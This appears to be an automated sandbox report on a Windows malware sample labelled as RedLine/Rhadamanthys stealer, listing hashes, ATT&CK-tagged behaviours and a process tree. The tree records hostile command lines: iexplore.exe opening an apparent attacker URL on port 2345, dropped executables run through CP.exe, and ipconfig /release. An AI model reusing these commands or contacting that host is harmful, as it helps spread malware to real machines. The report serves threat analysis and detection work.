a1a9e0e7c91aa10cf0730f52467d6133834c14f1f131d3e003548e3814c93183

Analysis

max time kernel
149s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
02/11/2026, 12:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe
Size 226KB
Sample261102-pqcsnsfb45
SHA256 a1a9e0e7c91aa10cf0730f52467d6133834c14f1f131d3e003548e3814c93183
MD5 a790a93811b201b820cb07f39de0ecf9
SHA1 a274869bb890632d891b278e51122f39cdb45796
SHA512 7a596bc2ca697298d8cb88bf071fdcd3b58d9c7458f522b8826ca87f53a2cc22264f0fb698f44185c06ed0f20e7e9f48eeeb93277dd0876fa74ee28b4dd9898b
SSDEEP 3072:/GSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:eXY4LK+a3lLNngoqRttA7
TLSH
T14F34490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

adware discovery spyware

Malware Config

Signatures

Executes dropped EXE 64 IoCs

pid	Process
2716	CP.exe
1396	smkfcxrpki.exe
4352	CP.exe
1040	CP.exe
2064	i_smkfcxrpki.exe
1952	hcamkecwup.sys
4140	CP.exe
4572	pmhfzxrpjh.exe
4100	CP.exe
3196	CP.exe
3920	i_pmhfzxrpjh.exe
4428	pmhfzxrpjh.sys
4740	CP.exe
2452	ztrmjecwuo.exe
1268	CP.exe
3656	CP.exe
656	i_ztrmjecwuo.exe
1168	wuomgezwrp.sys
416	CP.exe
4220	jebwuomgey.exe
4720	CP.exe
4724	CP.exe
4868	i_jebwuomgey.exe
3128	wtomgeywqo.sys
4584	CP.exe
2220	jdbwtomgey.exe
4244	CP.exe
4808	CP.exe
3956	i_jdbwtomgey.exe
4692	bvtnlgdywq.sys
4924	CP.exe
3092	tnlgdytnlg.exe
2868	CP.exe
2908	CP.exe
2824	i_tnlgdytnlg.exe
988	nlgdysqlid.sys
436	CP.exe
4144	vsnlfdxvqn.exe
2384	CP.exe
2448	CP.exe
1864	i_vsnlfdxvqn.exe
3388	avtnlfdxvq.sys
1120	CP.exe
4348	nifaysnifa.exe
3012	CP.exe
3800	CP.exe
5116	i_nifaysnifa.exe
5000	kfdxvpnhfa.sys
1680	CP.exe
3240	axspkicaus.exe
1392	CP.exe
3916	CP.exe
2080	i_axspkicaus.exe
3804	ausmkecxup.sys
3472	CP.exe
412	pnhfzxrpkh.exe
2668	CP.exe
2916	CP.exe
540	i_pnhfzxrpkh.exe
3876	wupmhezxrp.sys
3988	CP.exe
1980	hbzurmkecw.exe
4748	CP.exe
4936	CP.exe

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pmhfzxrpjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jebwuomgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xrpjhczusm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wuomhezwrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	smkfcxrpki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_smkfcxrpki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vsnlfdxvqn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hbzurmkecw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zxrpjhbzur.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	axspkicaus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pnifaysqca.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ztrmjecwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tnlgdytnlg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nifaysnifa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nifaysnifa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qlidbvtnlf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zxrpjhbzur.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pmhfzxrpjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ztrmjecwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vsnlfdxvqn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pnhfzxrpkh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hbzurmkecw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qlidbvtnlf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pnifaysqca.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jebwuomgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tnlgdytnlg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pnhfzxrpkh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nifaysqkic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nifaysqkic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	causmhczus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_causmhczus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jdbwtomgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_axspkicaus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	omgeywqojg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_omgeywqojg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xrpjhczusm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jdbwtomgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ywqoigaytq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ywqoigaytq.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
5056	ipconfig.exe
3960	ipconfig.exe
3736	ipconfig.exe
376	ipconfig.exe
3052	ipconfig.exe
1212	ipconfig.exe
2336	ipconfig.exe
3860	ipconfig.exe
5108	ipconfig.exe
3868	ipconfig.exe
4616	ipconfig.exe
4252	ipconfig.exe
3984	ipconfig.exe
2328	ipconfig.exe
4356	ipconfig.exe
872	ipconfig.exe
2968	ipconfig.exe
384	ipconfig.exe
4164	ipconfig.exe
2896	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 35 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31288006"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "911762515"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "500387686"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000005f595d6568c78041904f5e7e998782ca00000000020000000000106600000001000020000000b284c103cab8a05426911d819decee56c1a93c853bb883092edb1fbc77ae6959000000000e8000000002000020000000cb00e8571b9e2b2a65a2e703e6d4fdb8acb808f692f2707af9e5e4fb99e1b24420000000ba0e8fc8087ae544553f8df58bba729f22c3def8465227fbe973d7ddb97bb4d04000000060133be42026681bda494ccd6c03e6183275ff15fd0673d12eac1dce71c4ca7ffc1fe8f48159b518f25e59a702309e867d963c13c853c24007845ddb72ef8ad3	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 00be5937c66add01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000005f595d6568c78041904f5e7e998782ca0000000002000000000010660000000100002000000027bd001223228fc9eba1201e2938624ebdaebbba9a84b2a0175ebbe218e1a44b000000000e8000000002000020000000857263b5dc69d487ac2b3d159055708a99e212a1f96a69a8f97975679f0ff33e200000000ee736ae91839f26455e4388c585d95f4020690ac054308b995409b2563a41974000000076654c0d6b7b96110afe8027a1edaf9293f2df282400a53e6460b7126a6dcd66dc6ee2c126543e86f65499d80837273a48e3fcc436f343a39401bb100e9e5e05	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "903637915"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31288006"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 20b95237c66add01	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{61409B56-D6B9-11F1-8F8C-66DCEFAAD7CC} = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	2064	i_smkfcxrpki.exe
Token: SeDebugPrivilege	3920	i_pmhfzxrpjh.exe
Token: SeDebugPrivilege	656	i_ztrmjecwuo.exe
Token: SeDebugPrivilege	4868	i_jebwuomgey.exe
Token: SeDebugPrivilege	3956	i_jdbwtomgey.exe
Token: SeDebugPrivilege	2824	i_tnlgdytnlg.exe
Token: SeDebugPrivilege	1864	i_vsnlfdxvqn.exe
Token: SeDebugPrivilege	5116	i_nifaysnifa.exe
Token: SeDebugPrivilege	2080	i_axspkicaus.exe
Token: SeDebugPrivilege	540	i_pnhfzxrpkh.exe
Token: SeDebugPrivilege	3860	i_hbzurmkecw.exe
Token: SeDebugPrivilege	4484	i_zxrpjhbzur.exe
Token: SeDebugPrivilege	5064	i_omgeywqojg.exe
Token: SeDebugPrivilege	1684	i_ywqoigaytq.exe
Token: SeDebugPrivilege	4448	i_qlidbvtnlf.exe
Token: SeDebugPrivilege	1588	i_pnifaysqca.exe
Token: SeDebugPrivilege	4620	i_nifaysqkic.exe
Token: SeDebugPrivilege	2328	i_causmhczus.exe
Token: SeDebugPrivilege	4992	i_xrpjhczusm.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
460	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
460	iexplore.exe
460	iexplore.exe
5072	IEXPLORE.EXE
5072	IEXPLORE.EXE
5072	IEXPLORE.EXE
5072	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 61 IoCs

description	pid	Process	procid_target
PID 2884 wrote to memory of 460	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	83
PID 460 wrote to memory of 5072	460	iexplore.exe	84
PID 2884 wrote to memory of 2716	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	85
PID 1396 wrote to memory of 4352	1396	smkfcxrpki.exe	88
PID 2884 wrote to memory of 1040	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	93
PID 2884 wrote to memory of 4140	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	100
PID 4572 wrote to memory of 4100	4572	pmhfzxrpjh.exe	102
PID 2884 wrote to memory of 3196	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	107
PID 2884 wrote to memory of 4740	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	111
PID 2452 wrote to memory of 1268	2452	ztrmjecwuo.exe	113
PID 2884 wrote to memory of 3656	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	116
PID 2884 wrote to memory of 416	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	120
PID 4220 wrote to memory of 4720	4220	jebwuomgey.exe	122
PID 2884 wrote to memory of 4724	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	125
PID 2884 wrote to memory of 4584	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	131
PID 2220 wrote to memory of 4244	2220	jdbwtomgey.exe	133
PID 2884 wrote to memory of 4808	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	136
PID 2884 wrote to memory of 4924	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	140
PID 3092 wrote to memory of 2868	3092	tnlgdytnlg.exe	142
PID 2884 wrote to memory of 2908	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	145
PID 2884 wrote to memory of 436	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	149
PID 4144 wrote to memory of 2384	4144	vsnlfdxvqn.exe	151
PID 2884 wrote to memory of 2448	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	154
PID 2884 wrote to memory of 1120	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	158
PID 4348 wrote to memory of 3012	4348	nifaysnifa.exe	160
PID 2884 wrote to memory of 3800	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	163
PID 2884 wrote to memory of 1680	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	167
PID 3240 wrote to memory of 1392	3240	axspkicaus.exe	169
PID 2884 wrote to memory of 3916	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	172
PID 2884 wrote to memory of 3472	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	176
PID 412 wrote to memory of 2668	412	pnhfzxrpkh.exe	178
PID 2884 wrote to memory of 2916	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	181
PID 2884 wrote to memory of 3988	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	185
PID 1980 wrote to memory of 4748	1980	hbzurmkecw.exe	187
PID 2884 wrote to memory of 4936	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	190
PID 2884 wrote to memory of 4608	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	194
PID 2148 wrote to memory of 4384	2148	zxrpjhbzur.exe	196
PID 2884 wrote to memory of 380	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	199
PID 2884 wrote to memory of 3748	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	203
PID 4896 wrote to memory of 2752	4896	omgeywqojg.exe	205
PID 2884 wrote to memory of 5092	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	208
PID 2884 wrote to memory of 4960	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	212
PID 3680 wrote to memory of 3384	3680	ywqoigaytq.exe	214
PID 2884 wrote to memory of 2644	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	217
PID 2884 wrote to memory of 3376	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	221
PID 1756 wrote to memory of 1008	1756	qlidbvtnlf.exe	223
PID 2884 wrote to memory of 3652	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	226
PID 2884 wrote to memory of 2400	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	228
PID 3940 wrote to memory of 3096	3940	pnifaysqca.exe	230
PID 2884 wrote to memory of 3876	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	233
PID 2884 wrote to memory of 4320	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	237
PID 3132 wrote to memory of 4616	3132	nifaysqkic.exe	239
PID 2884 wrote to memory of 3256	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	242
PID 2884 wrote to memory of 1832	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	246
PID 4476 wrote to memory of 1104	4476	causmhczus.exe	248
PID 2884 wrote to memory of 4892	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	251
PID 2884 wrote to memory of 4764	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	255
PID 3544 wrote to memory of 3808	3544	xrpjhczusm.exe	257
PID 2884 wrote to memory of 1744	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	260
PID 2884 wrote to memory of 3184	2884	2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe	264
PID 1688 wrote to memory of 3128	1688	wuomhezwrp.exe	266

C:\Users\Admin\AppData\Local\Temp\2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-11-01_a790a93811b201b820cb07f39de0ecf9_elex_redline-stealer_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2884
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:460
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:460 CREDAT:17410 /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:5072
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\smkfcxrpki.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2716
- - C:\Temp\smkfcxrpki.exe
    C:\Temp\smkfcxrpki.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1396
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4352
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4164
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_smkfcxrpki.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1040
- - C:\Temp\i_smkfcxrpki.exe
    C:\Temp\i_smkfcxrpki.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2064
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\pmhfzxrpjh.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4140
- - C:\Temp\pmhfzxrpjh.exe
    C:\Temp\pmhfzxrpjh.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4572
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4100
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3868
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_pmhfzxrpjh.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3196
- - C:\Temp\i_pmhfzxrpjh.exe
    C:\Temp\i_pmhfzxrpjh.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3920
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ztrmjecwuo.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4740
- - C:\Temp\ztrmjecwuo.exe
    C:\Temp\ztrmjecwuo.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2452
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1268
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4616
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ztrmjecwuo.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3656
- - C:\Temp\i_ztrmjecwuo.exe
    C:\Temp\i_ztrmjecwuo.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:656
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\jebwuomgey.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:416
- - C:\Temp\jebwuomgey.exe
    C:\Temp\jebwuomgey.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4220
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4720
